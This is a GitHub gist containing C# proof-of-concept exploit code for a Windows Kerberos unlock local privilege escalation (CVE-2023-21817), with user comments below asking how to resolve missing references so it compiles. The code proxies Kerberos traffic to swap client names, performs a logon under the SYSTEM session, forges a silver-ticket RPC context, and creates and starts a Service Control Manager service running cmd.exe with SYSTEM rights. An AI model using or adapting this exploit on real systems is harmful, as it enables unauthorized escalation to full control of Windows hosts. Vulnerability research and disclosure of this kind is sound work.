Skip to content

Instantly share code, notes, and snippets.

@monoxgas
Created April 10, 2023 22:58
Show Gist options
  • Star 27 You must be signed in to star a gist
  • Fork 11 You must be signed in to fork a gist
  • Save monoxgas/f615514fb51ebb55a7229f3cf79cf95b to your computer and use it in GitHub Desktop.
Save monoxgas/f615514fb51ebb55a7229f3cf79cf95b to your computer and use it in GitHub Desktop.
Minimal PoC code for Kerberos Unlock LPE (CVE-2023-21817)
using NtApiDotNet;
using NtApiDotNet.Ndr.Marshal;
using NtApiDotNet.Win32;
using NtApiDotNet.Win32.Rpc.Transport;
using NtApiDotNet.Win32.Security.Authentication;
using NtApiDotNet.Win32.Security.Authentication.Kerberos;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server;
using NtApiDotNet.Win32.Security.Authentication.Logon;
using System;
using System.DirectoryServices.ActiveDirectory;
using System.Net;
using System.Threading;
namespace UrbanDoor
{
public class ModifyCNameKerberosProxy : KerberosKDCProxy
{
private KerberosPrincipalName _clientName;
private KerberosAuthenticationKey _userKey;
private KerberosPrincipalName _originalClientName = null;
private KerberosAuthenticationKey _tgtKey = null;
public ModifyCNameKerberosProxy(KerberosPrincipalName clientName, KerberosAuthenticationKey userKey, string hostname)
: base(new KerberosKDCServerListenerTCP(IPAddress.Loopback, 88), new KerberosKDCClientTransportTCP(hostname, 88))
{
_clientName = clientName;
_userKey = userKey;
}
protected override byte[] HandleRequest(byte[] outbound)
{
if (KerberosKDCRequestAuthenticationToken.TryParse(outbound, out KerberosKDCRequestAuthenticationToken request))
{
if (_tgtKey != null && _originalClientName != null && request.MessageType == KerberosMessageType.KRB_TGS_REQ)
{
Console.WriteLine($"[+] Modifying outgoing TGS-REQ [{outbound.Length}]");
var preAuthTgs = request.PreAuthenticationData[0] as KerberosPreAuthenticationDataTGSRequest;
if (preAuthTgs.Authenticator.TryDecrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq, out KerberosEncryptedData enc))
{
var authenticator = KerberosAuthenticator.Parse(enc.CipherText);
var authenticatorBuilder = authenticator.ToBuilder();
authenticatorBuilder.ClientName = _originalClientName;
var newPreAuth = new KerberosPreAuthenticationDataTGSRequest(preAuthTgs.Options, preAuthTgs.Ticket, authenticatorBuilder.Create().Encrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq));
var builder = request.ToBuilder();
builder.PreAuthenticationData.Clear();
builder.AddPreAuthenticationData(newPreAuth);
builder.AddPreAuthenticationData(request.PreAuthenticationData[1]);
outbound = builder.Create().ToArray();
}
else
{
Console.WriteLine("[!] Error decrypting with tgtKey");
}
}
}
var inbound = base.HandleRequest(outbound);
if (KerberosKDCReplyAuthenticationToken.TryParse(inbound, out KerberosKDCReplyAuthenticationToken reply))
{
if (reply.MessageType == KerberosMessageType.KRB_AS_REP)
{
Console.WriteLine($"[+] Modifying incoming AS-REP [{inbound.Length}]");
_originalClientName = reply.ClientName;
if (reply.EncryptedData.TryDecrypt(_userKey, KerberosKeyUsage.AsRepEncryptedPart, out KerberosEncryptedData enc))
{
var encryptedPart = KerberosKDCReplyEncryptedPart.Parse(enc.CipherText);
_tgtKey = encryptedPart.Key;
var builder = reply.ToBuilder();
builder.ClientName = _clientName;
return builder.Create().ToArray();
}
else
{
Console.WriteLine("[!] Error decrypting with password");
}
}
}
return inbound;
}
}
class Program
{
static Luid SYSTEM_LUID = new Luid(0x3E7);
static string OUT_PATH = "C:\\windows\\lpe.txt";
static string SERVICE_CMD = "C:\\windows\\system32\\cmd.exe /c echo LPE from {0} > " + OUT_PATH;
static void Main(string[] args)
{
try
{
if (args.Length != 1 && args.Length != 2)
{
throw new ArgumentException("Supply <current_password>");
}
string password = args[0];
KerberosTicketCache.PurgeTicketCache(default, null, null);
string realm = Domain.GetCurrentDomain().Name.ToUpper();
Sid user_sid = NtToken.PseudoPrimaryToken.User.Sid;
string username = user_sid.GetName().Name.ToLower();
string upn = $"{username}@{realm}";
ModifyCNameKerberosProxy proxy = new ModifyCNameKerberosProxy(
new KerberosPrincipalName(KerberosNameType.PRINCIPAL, Environment.MachineName + "$"),
KerberosAuthenticationKey.DeriveKey(KerberosEncryptionType.AES256_CTS_HMAC_SHA1_96, password, 4096, KerberosNameType.PRINCIPAL, upn, null, 0),
Domain.GetCurrentDomain().FindDomainController().Name
);
proxy.Start();
KerberosTicketCache.PinKdc(realm, "127.0.0.1", 0);
var creds = new KerberosInteractiveLogonCredentials(
new UserCredentials(username, realm, password)
)
{
LogonId = SYSTEM_LUID
};
try
{
using (var handle = LsaLogonHandle.Connect())
{
handle.LsaLogonUser(
SecurityLogonType.Interactive,
AuthenticationPackage.KERBEROS_NAME,
creds
);
}
}
catch (Exception e)
{
Console.WriteLine($"[!] Logon failed. Maybe the key has already been changed:\n{e}\n\n");
}
proxy.Stop();
KerberosTicketCache.UnpinAllKdcs();
Client scm = new Client();
RpcTransportSecurity security = new RpcTransportSecurity(ctx => SilverTicket.CreateContext(ctx, password, 500, 512));
security.AuthenticationLevel = RpcAuthenticationLevel.Connect;
security.AuthenticationType = RpcAuthenticationType.Kerberos;
security.ServicePrincipalName = $"HOST/{Environment.MachineName}";
scm.Connect("ncacn_np", @"\pipe\ntsvcs", security);
int error = scm.ROpenSCManagerW(null, null, (int)ServiceControlManagerAccessRights.GenericAll, out NdrContextHandle hscm);
if (error != 0) throw new SafeWin32Exception(error);
Console.WriteLine($"[+] Opened SCM: {hscm}");
string serviceName = Guid.NewGuid().ToString();
int? tag_id = null;
error = scm.RCreateServiceW(hscm, serviceName, null, (int)ServiceAccessRights.MaximumAllowed, (int)ServiceType.Win32OwnProcess,
(int)ServiceStartType.Demand, 0, string.Format(SERVICE_CMD, serviceName), null, ref tag_id, null, 0, null, null, 0, out NdrContextHandle hservice);
if (error != 0) throw new SafeWin32Exception(error);
Console.WriteLine($"[+] Service created: {serviceName}");
scm.RStartServiceW(hservice, 0, null);
Thread.Sleep(250);
Console.WriteLine($"\n[+] Done. {OUT_PATH} contains: {System.IO.File.ReadAllText(OUT_PATH)}");
}
catch (Exception ex)
{
Console.WriteLine("[!] Error:\n");
Console.WriteLine(ex);
}
}
}
}
@abedtuded
Copy link

Hey! Visual Studio can't seem to resolve the references to "Client" and "SilverTicket" in lines 158, 159. Can you tell me what libs/NuGet packages/etc i need to add/install?

@locaIhost
Copy link

Hello, u say In the case of a Kerberos unlock, once the logon is complete a call is triggered to KerbUpdateOldLogonSession with the supplied LUID. but what is logon?
logon here is logging in or just any kerberos authentication?

@Cerbersec
Copy link

Hey! Visual Studio can't seem to resolve the references to "Client" and "SilverTicket" in lines 158, 159. Can you tell me what libs/NuGet packages/etc i need to add/install?

https://github.com/tyranid/WindowsRpcClients

@abedtuded
Copy link

Hey! Visual Studio can't seem to resolve the references to "Client" and "SilverTicket" in lines 158, 159. Can you tell me what libs/NuGet packages/etc i need to add/install?

https://github.com/tyranid/WindowsRpcClients

Thank you, mate! This resolved the issue with "Client" reference, but can't understand how to resolve the one with "SilverTicket"..

@BlazS14
Copy link

BlazS14 commented May 29, 2023

Hi! I was just trying to reproduce this poc and hit a wall with the unknown reference to SilverTicket as @abedtuded mentioned. Did anyone find a way to resolve this? Maybe @Cerbersec?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment